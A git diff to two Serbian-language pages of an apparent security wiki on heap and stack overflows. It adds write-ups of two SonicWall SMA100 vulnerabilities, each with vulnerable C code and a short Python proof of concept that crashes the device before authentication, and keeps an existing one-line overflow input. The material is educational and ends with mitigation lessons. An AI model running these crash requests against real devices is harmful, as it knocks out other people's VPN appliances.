diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 604740983..c82972c10 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -4,45 +4,77 @@
 
 ## Osnovne informacije
 
-Heap overflow je kao [**stack overflow**](../stack-overflow/index.html) ali u heap-u. U suštini to znači da je neki prostor rezervisan u heap-u za skladištenje podataka i **skladišteni podaci su bili veći od rezervisanog prostora.**
+Heap overflow je kao [**stack overflow**](../stack-overflow/index.html) ali u heap-u. U suštini, to znači da je neki prostor rezervisan u heap-u za skladištenje podataka i **skladišteni podaci su bili veći od rezervisanog prostora.**
 
 U stack overflow-ima znamo da će neki registri poput pokazivača instrukcija ili stack frame-a biti vraćeni iz stack-a i to bi moglo biti moguće zloupotrebiti. U slučaju heap overflow-a, **nema osetljivih informacija koje se po defaultu čuvaju** u heap chunk-u koji može biti overflow-ovan. Međutim, to mogu biti osetljive informacije ili pokazivači, tako da **kritičnost** ove ranjivosti **zavisi** od **koji podaci mogu biti prepisani** i kako bi napadač mogao to zloupotrebiti.
 
 > [!TIP]
 > Da biste pronašli offset-e overflow-a, možete koristiti iste obrasce kao u [**stack overflow-ima**](../stack-overflow/index.html#finding-stack-overflows-offsets).
 
-### Stack Overflow vs Heap Overflow
+### Stack Overflows vs Heap Overflows
 
-U stack overflow-ima raspored i podaci koji će biti prisutni u stack-u u trenutku kada se ranjivost može aktivirati su prilično pouzdani. To je zato što je stack linearan, uvek se povećava u kolidirajućoj memoriji, u **specifičnim mestima izvršavanja programa stack memorija obično čuva slične vrste podataka** i ima neku specifičnu strukturu sa nekim pokazivačima na kraju dela stack-a koji koristi svaka funkcija.
+U stack overflow-ima raspored i podaci koji će biti prisutni u stack-u u trenutku kada se ranjivost može aktivirati su prilično pouzdani. To je zato što je stack linearan, uvek se povećava u kolidirajućoj memoriji, na **specifičnim mestima tokom izvršavanja programa stack memorija obično čuva slične vrste podataka** i ima neku specifičnu strukturu sa nekim pokazivačima na kraju dela stack-a koji koristi svaka funkcija.
 
-Međutim, u slučaju heap overflow-a, korišćena memorija nije linearna, već su **alokirani chunk-ovi obično na odvojenim pozicijama memorije** (ne jedan pored drugog) zbog **bins i zona** koje razdvajaju alokacije po veličini i zato što se **prethodno oslobođena memorija koristi** pre nego što se alociraju novi chunk-ovi. **Teško je znati objekat koji će kolidirati sa onim koji je ranjiv** na heap overflow. Dakle, kada se pronađe heap overflow, potrebno je pronaći **pouzdan način da se željeni objekat postavi pored u memoriji** onog koji može biti overflow-ovan.
+Međutim, u slučaju heap overflow-a, korišćena memorija nije linearna, već su **alokacije obično u odvojenim pozicijama memorije** (ne jedna pored druge) zbog **bins i zona** koje razdvajaju alokacije po veličini i zato što se **prethodno oslobođena memorija koristi** pre nego što se alociraju novi chunk-ovi. **Teško je znati objekat koji će kolidirati sa onim koji je ranjiv** na heap overflow. Dakle, kada se pronađe heap overflow, potrebno je pronaći **pouzdan način da se željeni objekat postavi pored u memoriji** onog koji može biti overflow-ovan.
 
-Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova memorije, ona se širi za kernel stranicu, a ova stranica se deli na chunk-ove očekivanih veličina koji će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na randomizovan način kako bi se otežala eksploatacija ovih napada).
+Jedna od tehnika koja se koristi za ovo je **Heap Grooming** koja se koristi, na primer, [**u ovom postu**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). U postu se objašnjava kako kada u iOS kernel-u zona ostane bez memorije za skladištenje chunk-ova, ona se širi za kernel stranicu, a ova stranica se deli na chunk-ove očekivanih veličina koji će se koristiti redom (do iOS verzije 9.2, zatim se ovi chunk-ovi koriste na nasumičan način kako bi se otežala eksploatacija ovih napada).
 
-Stoga, u prethodnom postu gde se dešava heap overflow, kako bi se primorao overflow-ovani objekat da kolidira sa objektom žrtvom, nekoliko **`kallocs` se primorava od strane nekoliko niti kako bi se pokušalo osigurati da su svi slobodni chunk-ovi popunjeni i da je stvorena nova stranica**.
+Stoga, u prethodnom postu gde se dešava heap overflow, kako bi se primorao overflow-ovani objekat da kolidira sa objektom žrtvom, nekoliko **`kallocs` se primorava od strane nekoliko niti kako bi se osiguralo da su svi slobodni chunk-ovi popunjeni i da je stvorena nova stranica**.
 
-Da bi se primoralo ovo popunjavanje objektima specifične veličine, **out-of-line alokacija povezana sa iOS mach port-om** je idealan kandidat. Prilagođavanjem veličine poruke, moguće je tačno odrediti veličinu `kalloc` alokacije i kada se odgovarajući mach port uništi, odgovarajuća alokacija će odmah biti vraćena nazad `kfree`.
+Da bi se primoralo ovo popunjavanje objektima specifične veličine, **out-of-line alokacija povezana sa iOS mach port-om** je idealan kandidat. Prilagođavanjem veličine poruke, moguće je tačno odrediti veličinu `kalloc` alokacije i kada se odgovarajući mach port uništi, odgovarajuća alokacija će odmah biti vraćena `kfree`.
 
 Zatim, neki od ovih mesta mogu biti **oslobođeni**. **`kalloc.4096` slobodna lista oslobađa elemente u redosledu poslednji ulaz-prvi izlaz**, što u suštini znači da ako su neka mesta oslobođena i eksploatacija pokušava da alocira nekoliko objekata žrtava dok pokušava da alocira objekat ranjiv na overflow, verovatno je da će ovaj objekat biti praćen objektom žrtvom.
 
 ### Primer libc
 
-[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju Heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev veličine omogućava **konzolidaciju korišćenog chunk-a** (praveći da misli da je neiskorišćen) i **zatim ponovo alocirati** omogućavajući prepisivanje podataka koji se koriste u različitom pokazivaču.
+[**Na ovoj stranici**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) moguće je pronaći osnovnu emulaciju Heap overflow-a koja pokazuje kako prepisivanje prev in use bita sledećeg chunk-a i pozicije prev size omogućava **konzolidaciju korišćenog chunk-a** (praveći ga da misli da je neiskorišćen) i **zatim ponovo alocirati** omogućavajući prepisivanje podataka koji se koriste u različitom pokazivaču.
 
-Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavicu**.
+Još jedan primer iz [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje vrlo osnovan primer CTF-a gde se **heap overflow** može zloupotrebiti da pozove funkciju pobednika da **dobije zastavu**.
 
 U [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) primeru moguće je videti kako zloupotreba buffer overflow-a omogućava **prepisivanje u bliskom chunk-u adrese** gde će **arbitrarni podaci od korisnika** biti napisani.
 
 ### Primer ARM64
 
-Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledeći chunk iz overflow-ovanog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakom eksploatacijom kao:
+Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledećem chunk-u od overflow-ovanog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakim eksploatom kao:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```
-### Ostali primeri
+### Drugi primeri
 
 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
-- Koristimo ranjivost Integer Overflow da bismo dobili Heap Overflow.
-- Korumpiramo pokazivače na funkciju unutar `struct`-a prekomernog dela da postavimo funkciju kao što je `system` i dobijemo izvršenje koda.
+- Koristimo ranjivost Integer Overflow da dobijemo Heap Overflow.
+- Korumpiramo pokazivače na funkciju unutar `struct`-a prelivene jedinice da postavimo funkciju kao što je `system` i dobijemo izvršenje koda.
+
+### Primer iz stvarnog sveta: CVE-2025-40597 – Nepravilna upotreba `__sprintf_chk`
+
+U SonicWall SMA100 firmveru 10.2.1.15, modul za reverznu proxy `mod_httprp.so` alocira **0x80-bajtni** heap chunk i zatim konkatenira nekoliko stringova u njega sa `__sprintf_chk`:
+```c
+char *buf = calloc(0x80, 1);
+/* … */
+__sprintf_chk(buf,               /* destination (0x80-byte chunk) */
+-1,                /* <-- size argument   !!! */
+0,                 /* flags */
+"%s%s%s%s",      /* format */
+"/", "https://", path, host);
+```
+`__sprintf_chk` je deo **_FORTIFY_SOURCE**. Kada primi **pozitivan** `size` parametar, proverava da li rezultantni string staje unutar odredišnog bafera. Prosleđivanjem **`-1` (0xFFFFFFFFFFFFFFFF)**, programeri su efikasno **onemogućili proveru granica**, vraćajući ojačani poziv nazad u klasični, nesigurni `sprintf`.
+
+Zato pružanje predugog **`Host:`** zaglavlja omogućava napadaču da **prelije 0x80-bajtni deo i prepiše metapodatke sledećeg heap dela** (tcache / fast-bin / small-bin u zavisnosti od alokatora). Rušenje se može reprodukovati sa:
+```python
+import requests, warnings
+warnings.filterwarnings('ignore')
+requests.get(
+'https://TARGET/__api__/',
+headers={'Host': 'A'*750},
+verify=False
+)
+```
+Praktična eksploatacija bi zahtevala **heap grooming** da bi se postavio kontrolisani objekat odmah nakon ranjivog dela, ali osnovni uzrok ističe dva važna zaključka:
+
+1. **_FORTIFY_SOURCE nije čarobno rešenje** – zloupotreba može poništiti zaštitu.
+2. Uvek prosledite **ispravnu veličinu bafera** porodici `_chk` (ili, još bolje, koristite `snprintf`).
+
+## References
+* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index bfd84232e..0f27b6d0c 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -4,13 +4,13 @@
 
 ## Šta je Stack Overflow
 
-A **stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
+A **stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podaci će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
 
 Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te vrednosti i **kontroliše tok izvršavanja programa**.
 
 Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može prepisati druge delove steka.
 
-Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije kao što su **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene. 
+Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene. 
 
 Na primer, sledeće funkcije bi mogle biti ranjive:
 ```c
@@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
 
 Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
 
-Štaviše, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontigenta podsekvenca.
+Pored toga, kada pronađete da postoji ranjivost na Stack Overflow, biće potrebno da pronađete offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine _n_ pojavljuje tačno jednom** kao kontigvna podsekvenca.
 
 Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
 
@@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Iskorišćavanje Stack Overflow-a
 
-Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
-Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
+Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
+Najčešći način da se zloupotrebi ova vrsta ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god korisnik odredi** u ovom pokazivaču.
 
 Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
 
 ### Ret2win
 
-U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
+U ovim vrstama CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
 
 {{#ref}}
 ret2win/
@@ -73,7 +73,7 @@ stack-shellcode/
 
 ### ROP & Ret2... tehnike
 
-Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
+Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršni stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
 
 {{#ref}}
 ../rop-return-oriented-programing/
@@ -81,7 +81,7 @@ Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike:
 
 ## Heap Overflows
 
-Overflow nije uvek u steku, može biti i u **heap-u** na primer:
+Overflow ne mora uvek biti u steku, može biti i u **heap-u** na primer:
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
@@ -95,4 +95,33 @@ Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti,
 ../common-binary-protections-and-bypasses/
 {{#endref}}
 
+### Primer iz stvarnog sveta: CVE-2025-40596 (SonicWall SMA100)
+
+Dobra demonstracija zašto **`sscanf` nikada ne bi trebalo verovati za parsiranje nepouzdanog unosa** pojavila se 2025. godine u SonicWall-ovom SMA100 SSL-VPN uređaju.
+Ranjiva rutina unutar `/usr/src/EasyAccess/bin/httpd` pokušava da izvuče verziju i krajnju tačku iz bilo kog URI-ja koji počinje sa `/__api__/`:
+```c
+char version[3];
+char endpoint[0x800] = {0};
+/* simplified proto-type */
+sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
+```
+1. Prva konverzija (`%2s`) sigurno čuva **dva** bajta u `version` (npr. `"v1"`).
+2. Druga konverzija (`%s`) **nema specifikator dužine**, stoga će `sscanf` nastaviti da kopira **do prvog NUL bajta**.
+3. Pošto se `endpoint` nalazi na **stack-u** i ima **0x800 bajta**, pružanje puta dužeg od 0x800 bajta korumpira sve što se nalazi posle bafera ‑ uključujući **stack canary** i **sačuvanu adresu povratka**.
+
+Jedna linija dokaza koncepta je dovoljna da izazove pad **pre autentifikacije**:
+```python
+import requests, warnings
+warnings.filterwarnings('ignore')
+url = "https://TARGET/__api__/v1/" + "A"*3000
+requests.get(url, verify=False)
+```
+Iako stack kanari abortiraju proces, napadač i dalje dobija **Denial-of-Service** primitivu (i, uz dodatne informacije o curenju, moguće izvršavanje koda). Lekcija je jednostavna:
+
+* Uvek obezbedite **maksimalnu širinu polja** (npr. `%511s`).
+* Preferirajte sigurnije alternative kao što su `snprintf`/`strncpy_s`.
+
+## References
+* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+
 {{#include ../../banners/hacktricks-training.md}}